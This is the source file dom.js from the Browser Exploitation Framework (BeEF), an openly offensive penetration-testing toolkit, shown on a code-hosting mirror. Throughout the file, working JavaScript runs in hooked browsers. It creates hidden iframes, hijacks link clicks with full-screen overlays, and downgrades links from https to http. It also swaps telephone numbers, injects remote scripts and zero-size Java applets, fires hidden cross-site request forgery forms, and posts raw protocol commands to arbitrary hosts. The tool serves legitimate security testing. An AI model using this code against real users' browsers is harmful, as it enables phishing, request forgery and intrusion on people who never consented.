Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/core/main/client/dom.js
1154 views
1
//
2
// Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
/**
8
* Provides functionality to manipulate the DOM.
9
* @namespace beef.dom
10
*/
11
beef.dom = {
12
13
/**
14
* Generates a random ID for HTML elements
15
* @param {String} prefix a custom prefix before the random id. defaults to "beef-"
16
* @return {String} generated id
17
*/
18
generateID: function(prefix) {
19
return ((prefix == null) ? 'beef-' : prefix)+Math.floor(Math.random()*99999);
20
},
21
22
/**
23
* Creates a new element but does not append it to the DOM.
24
* @param {String} type the name of the element.
25
* @param {Array} attributes the attributes of that element.
26
* @return {Array} the created element.
27
*/
28
createElement: function(type, attributes) {
29
var el = document.createElement(type);
30
31
for(index in attributes) {
32
if(typeof attributes[index] == 'string') {
33
el.setAttribute(index, attributes[index]);
34
}
35
}
36
37
return el;
38
},
39
40
/**
41
* Removes element from the DOM.
42
* @param {Object} el the target element to be removed.
43
*/
44
removeElement: function(el) {
45
if (!beef.dom.isDOMElement(el))
46
{
47
el = document.getElementById(el);
48
}
49
try {
50
el.parentNode.removeChild(el);
51
} catch (e) { }
52
},
53
54
/**
55
* Tests if the object is a DOM element.
56
* @param {Object} the DOM element.
57
* @return {boolean} true if the object is a DOM element.
58
*/
59
isDOMElement: function(obj) {
60
return (obj.nodeType) ? true : false;
61
},
62
63
/**
64
* Creates an invisible iframe on the hook browser's page.
65
* @return {array} the iframe.
66
*/
67
createInvisibleIframe: function() {
68
var iframe = this.createElement('iframe', {
69
width: '1px',
70
height: '1px',
71
style: 'visibility:hidden;'
72
});
73
74
document.body.appendChild(iframe);
75
76
return iframe;
77
},
78
79
/**
80
* Returns the highest current z-index
81
* @param {Boolean} whether to return an associative array with the height AND the ID of the element
82
* @return {Integer} Highest z-index in the DOM
83
* OR
84
* @return {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING}
85
*/
86
getHighestZindex: function(include_id) {
87
var highest = {'height':0, 'elem':''};
88
$j('*').each(function() {
89
var current_high = parseInt($j(this).css("zIndex"),10);
90
if (current_high > highest.height) {
91
highest.height = current_high;
92
highest.elem = $j(this).attr('id');
93
}
94
});
95
96
if (include_id) {
97
return highest;
98
} else {
99
return highest.height;
100
}
101
},
102
103
/**
104
* Create an iFrame element and prepend to document body. URI passed via 'src' property of function's 'params' parameter
105
* is assigned to created iframe tag's src attribute resulting in GET request to that URI.
106
* example usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
107
* @param {String} type: can be 'hidden' or 'fullScreen'. defaults to normal
108
* @param {Hash} params: list of params that will be sent in request.
109
* @param {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter
110
* @param {Function} a callback function to fire once the iFrame has loaded
111
* @return {Object} the inserted iFrame
112
*
113
*/
114
createIframe: function(type, params, styles, onload) {
115
var css = {};
116
117
if (type == 'hidden') {
118
css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles);
119
} else if (type == 'fullscreen') {
120
css = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px', 'z-index':beef.dom.getHighestZindex()+1}, styles);
121
$j('body').css({'padding':'0px', 'margin':'0px'});
122
} else {
123
css = styles;
124
$j('body').css({'padding':'0px', 'margin':'0px'});
125
}
126
var iframe = $j('<iframe />').attr(params).css(css).load(onload).prependTo('body');
127
128
return iframe;
129
},
130
131
/**
132
* Load the link (href value) in an overlay foreground iFrame.
133
* The BeEF hook continues to run in background.
134
* NOTE: if the target link is returning X-Frame-Options deny/same-origin or uses
135
* Framebusting techniques, this will not work.
136
*/
137
persistentIframe: function(){
138
$j('a').click(function(e) {
139
if ($j(this).attr('href') != '')
140
{
141
e.preventDefault();
142
beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
143
$j(document).attr('title', $j(this).html());
144
document.body.scroll = "no";
145
document.documentElement.style.overflow = 'hidden';
146
}
147
});
148
},
149
150
/**
151
* Load a full screen div that is black, or, transparent
152
* @param {Boolean} vis: whether or not you want the screen dimmer enabled or not
153
* @param {Hash} options: a collection of options to customise how the div is configured, as follows:
154
* opacity:0-100 // Lower number = less grayout higher = more of a blackout
155
* // By default this is 70
156
* zindex: # // HTML elements with a higher zindex appear on top of the gray out
157
* // By default this will use beef.dom.getHighestZindex to always go to the top
158
* bgcolor: (#xxxxxx) // Standard RGB Hex color code
159
* // By default this is #000000
160
*/
161
grayOut: function(vis, options) {
162
// in any order. Pass only the properties you need to set.
163
var options = options || {};
164
var zindex = options.zindex || beef.dom.getHighestZindex()+1;
165
var opacity = options.opacity || 70;
166
var opaque = (opacity / 100);
167
var bgcolor = options.bgcolor || '#000000';
168
var dark=document.getElementById('darkenScreenObject');
169
if (!dark) {
170
// The dark layer doesn't exist, it's never been created. So we'll
171
// create it here and apply some basic styles.
172
// If you are getting errors in IE see: http://support.microsoft.com/default.aspx/kb/927917
173
var tbody = document.getElementsByTagName("body")[0];
174
var tnode = document.createElement('div'); // Create the layer.
175
tnode.style.position='absolute'; // Position absolutely
176
tnode.style.top='0px'; // In the top
177
tnode.style.left='0px'; // Left corner of the page
178
tnode.style.overflow='hidden'; // Try to avoid making scroll bars
179
tnode.style.display='none'; // Start out Hidden
180
tnode.id='darkenScreenObject'; // Name it so we can find it later
181
tbody.appendChild(tnode); // Add it to the web page
182
dark=document.getElementById('darkenScreenObject'); // Get the object.
183
}
184
if (vis) {
185
// Calculate the page width and height
186
if( document.body && ( document.body.scrollWidth || document.body.scrollHeight ) ) {
187
var pageWidth = document.body.scrollWidth+'px';
188
var pageHeight = document.body.scrollHeight+'px';
189
} else if( document.body.offsetWidth ) {
190
var pageWidth = document.body.offsetWidth+'px';
191
var pageHeight = document.body.offsetHeight+'px';
192
} else {
193
var pageWidth='100%';
194
var pageHeight='100%';
195
}
196
//set the shader to cover the entire page and make it visible.
197
dark.style.opacity=opaque;
198
dark.style.MozOpacity=opaque;
199
dark.style.filter='alpha(opacity='+opacity+')';
200
dark.style.zIndex=zindex;
201
dark.style.backgroundColor=bgcolor;
202
dark.style.width= pageWidth;
203
dark.style.height= pageHeight;
204
dark.style.display='block';
205
} else {
206
dark.style.display='none';
207
}
208
},
209
210
/**
211
* Remove all external and internal stylesheets from the current page - sometimes prior to socially engineering,
212
* or, re-writing a document this is useful.
213
*/
214
removeStylesheets: function() {
215
$j('link[rel=stylesheet]').remove();
216
$j('style').remove();
217
},
218
219
/**
220
* Create a form element with the specified parameters, appending it to the DOM if append == true
221
* @param {Hash} params: params to be applied to the form element
222
* @param {Boolean} append: automatically append the form to the body
223
* @return {Object} a form object
224
*/
225
createForm: function(params, append) {
226
var form = $j('<form></form>').attr(params);
227
if (append)
228
$j('body').append(form);
229
return form;
230
},
231
232
loadScript: function(url) {
233
var s = document.createElement('script');
234
s.type = 'text/javascript';
235
s.src = url;
236
$j('body').append(s);
237
},
238
239
/**
240
* Get the location of the current page.
241
* @return the location.
242
*/
243
getLocation: function() {
244
return document.location.href;
245
},
246
247
/**
248
* Get links of the current page.
249
* @return array of URLs.
250
*/
251
getLinks: function() {
252
var linksarray = [];
253
var links = document.links;
254
for(var i = 0; i<links.length; i++) {
255
linksarray = linksarray.concat(links[i].href)
256
};
257
return linksarray
258
},
259
260
/**
261
* Rewrites all links matched by selector to url, also rebinds the click method to simply return true
262
* @param {String} url: the url to be rewritten
263
* @param {String} selector: the jquery selector statement to use, defaults to all a tags.
264
* @return {Number} the amount of links found in the DOM and rewritten.
265
*/
266
rewriteLinks: function(url, selector) {
267
var sel = (selector == null) ? 'a' : selector;
268
return $j(sel).each(function() {
269
if ($j(this).attr('href') != null)
270
{
271
$j(this).attr('href', url).click(function() { return true; });
272
}
273
}).length;
274
},
275
276
/**
277
* Rewrites all links matched by selector to url, leveraging Bilawal Hameed's hidden click event overwriting.
278
* http://bilaw.al/2013/03/17/hacking-the-a-tag-in-100-characters.html
279
* @param {String} url: the url to be rewritten
280
* @param {String} selector: the jquery selector statement to use, defaults to all a tags.
281
* @return {Number} the amount of links found in the DOM and rewritten.
282
*/
283
rewriteLinksClickEvents: function(url, selector) {
284
var sel = (selector == null) ? 'a' : selector;
285
return $j(sel).each(function() {
286
if ($j(this).attr('href') != null)
287
{
288
$j(this).click(function() {this.href=url});
289
}
290
}).length;
291
},
292
293
/**
294
* Parse all links in the page matched by the selector, replacing old_protocol with new_protocol (ex.:https with http)
295
* @param {String} old_protocol: the old link protocol to be rewritten
296
* @param {String} new_protocol: the new link protocol to be written
297
* @param {String} selector: the jquery selector statement to use, defaults to all a tags.
298
* @return {Number} the amount of links found in the DOM and rewritten.
299
*/
300
rewriteLinksProtocol: function(old_protocol, new_protocol, selector) {
301
302
var count = 0;
303
var re = new RegExp(old_protocol+"://", "gi");
304
var sel = (selector == null) ? 'a' : selector;
305
306
$j(sel).each(function() {
307
if ($j(this).attr('href') != null) {
308
var url = $j(this).attr('href');
309
if (url.match(re)) {
310
$j(this).attr('href', url.replace(re, new_protocol+"://")).click(function() { return true; });
311
count++;
312
}
313
}
314
});
315
316
return count;
317
},
318
319
/**
320
* Parse all links in the page matched by the selector, replacing all telephone urls ('tel' protocol handler) with a new telephone number
321
* @param {String} new_number: the new link telephone number to be written
322
* @param {String} selector: the jquery selector statement to use, defaults to all a tags.
323
* @return {Number} the amount of links found in the DOM and rewritten.
324
*/
325
rewriteTelLinks: function(new_number, selector) {
326
327
var count = 0;
328
var re = new RegExp("tel:/?/?.*", "gi");
329
var sel = (selector == null) ? 'a' : selector;
330
331
$j(sel).each(function() {
332
if ($j(this).attr('href') != null) {
333
var url = $j(this).attr('href');
334
if (url.match(re)) {
335
$j(this).attr('href', url.replace(re, "tel:"+new_number)).click(function() { return true; });
336
count++;
337
}
338
}
339
});
340
341
return count;
342
},
343
344
/**
345
* Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed
346
* @param {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}]
347
* @return {String} the parameters as a string ready to append to applet/embed/object tags (ex.: <param name='abc' value='test' />).
348
*/
349
parseAppletParams: function(params){
350
var result = '';
351
for (i in params){
352
var param = params[i];
353
for(key in param){
354
result += "<param name='" + key + "' value='" + param[key] + "' />";
355
}
356
}
357
return result;
358
},
359
360
/**
361
* Attach an applet to the DOM, using the best approach for differet browsers (object/applet/embed).
362
* example usage in the code, using a JAR archive (recommended and faster):
363
* beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D.class', null, 'http://127.0.0.1:3000/ui/media/images/target.jar', [{'param1':'1', 'param2':'2'}]);
364
* example usage in the code, using codebase:
365
* beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D', 'http://127.0.0.1:3000/', null, null);
366
* @param {String} id: reference identifier to the applet.
367
* @param {String} code: name of the class to be loaded. For example, beef.class.
368
* @param {String} codebase: the URL of the codebase (usually used when loading a single class for an unsigned applet).
369
* @param {String} archive: the jar that contains the code.
370
* @param {String} params: an array of additional params that the applet except.
371
*/
372
attachApplet: function(id, name, code, codebase, archive, params) {
373
var content = null;
374
if (beef.browser.isIE()) {
375
content = "" + // the classid means 'use the latest JRE available to launch the applet'
376
"<object id='" + id + "'classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' " +
377
"height='0' width='0' name='" + name + "'> " +
378
"<param name='code' value='" + code + "' />";
379
380
if (codebase != null) {
381
content += "<param name='codebase' value='" + codebase + "' />"
382
}
383
if (archive != null){
384
content += "<param name='archive' value='" + archive + "' />";
385
}
386
if (params != null) {
387
content += beef.dom.parseAppletParams(params);
388
}
389
content += "</object>";
390
}
391
if (beef.browser.isC() || beef.browser.isS() || beef.browser.isO() || beef.browser.isFF()) {
392
393
if (codebase != null) {
394
content = "" +
395
"<applet id='" + id + "' code='" + code + "' " +
396
"codebase='" + codebase + "' " +
397
"height='0' width='0' name='" + name + "'>";
398
} else {
399
content = "" +
400
"<applet id='" + id + "' code='" + code + "' " +
401
"archive='" + archive + "' " +
402
"height='0' width='0' name='" + name + "'>";
403
}
404
405
if (params != null) {
406
content += beef.dom.parseAppletParams(params);
407
}
408
content += "</applet>";
409
}
410
// For some reasons JavaPaylod is not working if the applet is attached to the DOM with the embed tag rather than the applet tag.
411
// if (beef.browser.isFF()) {
412
// if (codebase != null) {
413
// content = "" +
414
// "<embed id='" + id + "' code='" + code + "' " +
415
// "type='application/x-java-applet' codebase='" + codebase + "' " +
416
// "height='0' width='0' name='" + name + "'>";
417
// } else {
418
// content = "" +
419
// "<embed id='" + id + "' code='" + code + "' " +
420
// "type='application/x-java-applet' archive='" + archive + "' " +
421
// "height='0' width='0' name='" + name + "'>";
422
// }
423
//
424
// if (params != null) {
425
// content += beef.dom.parseAppletParams(params);
426
// }
427
// content += "</embed>";
428
// }
429
$j('body').append(content);
430
},
431
432
/**
433
* Given an id, remove the applet from the DOM.
434
* @param {String} id: reference identifier to the applet.
435
*/
436
detachApplet: function(id) {
437
$j('#' + id + '').detach();
438
},
439
440
/**
441
* Create an invisible iFrame with a form inside, and submit it. Useful for XSRF attacks delivered via POST requests.
442
* @param {String} action: the form action attribute, where the request will be sent.
443
* @param {String} method: HTTP method, usually POST.
444
* @param {String} enctype: form encoding type
445
* @param {Array} inputs: an array of inputs to be added to the form (type, name, value).
446
* example: [{'type':'hidden', 'name':'1', 'value':''} , {'type':'hidden', 'name':'2', 'value':'3'}]
447
*/
448
createIframeXsrfForm: function(action, method, enctype, inputs){
449
var iframeXsrf = beef.dom.createInvisibleIframe();
450
451
var formXsrf = document.createElement('form');
452
formXsrf.setAttribute('action', action);
453
formXsrf.setAttribute('method', method);
454
formXsrf.setAttribute('enctype', enctype);
455
456
var input = null;
457
for (i in inputs){
458
var attributes = inputs[i];
459
input = document.createElement('input');
460
for(key in attributes){
461
if (key == 'name' && attributes[key] == 'submit') {
462
// workaround for https://github.com/beefproject/beef/issues/1117
463
beef.debug("createIframeXsrfForm - warning: changed form input 'submit' to 'Submit'");
464
input.setAttribute('Submit', attributes[key]);
465
} else {
466
input.setAttribute(key, attributes[key]);
467
}
468
}
469
formXsrf.appendChild(input);
470
}
471
iframeXsrf.contentWindow.document.body.appendChild(formXsrf);
472
formXsrf.submit();
473
474
return iframeXsrf;
475
},
476
477
/**
478
* Create an invisible iFrame with a form inside, and POST the form in plain-text. Used for inter-protocol exploitation.
479
* @param {String} rhost: remote host ip/domain
480
* @param {String} rport: remote port
481
* @param {String} commands: protocol commands to be executed by the remote host:port service
482
*/
483
createIframeIpecForm: function(rhost, rport, path, commands){
484
var iframeIpec = beef.dom.createInvisibleIframe();
485
486
var formIpec = document.createElement('form');
487
formIpec.setAttribute('action', 'http://'+rhost+':'+rport+path);
488
formIpec.setAttribute('method', 'POST');
489
formIpec.setAttribute('enctype', 'multipart/form-data');
490
491
input = document.createElement('textarea');
492
input.setAttribute('name', Math.random().toString(36).substring(5));
493
input.value = commands;
494
formIpec.appendChild(input);
495
iframeIpec.contentWindow.document.body.appendChild(formIpec);
496
formIpec.submit();
497
498
return iframeIpec;
499
}
500
501
};
502
503
beef.regCmp('beef.dom');
504
505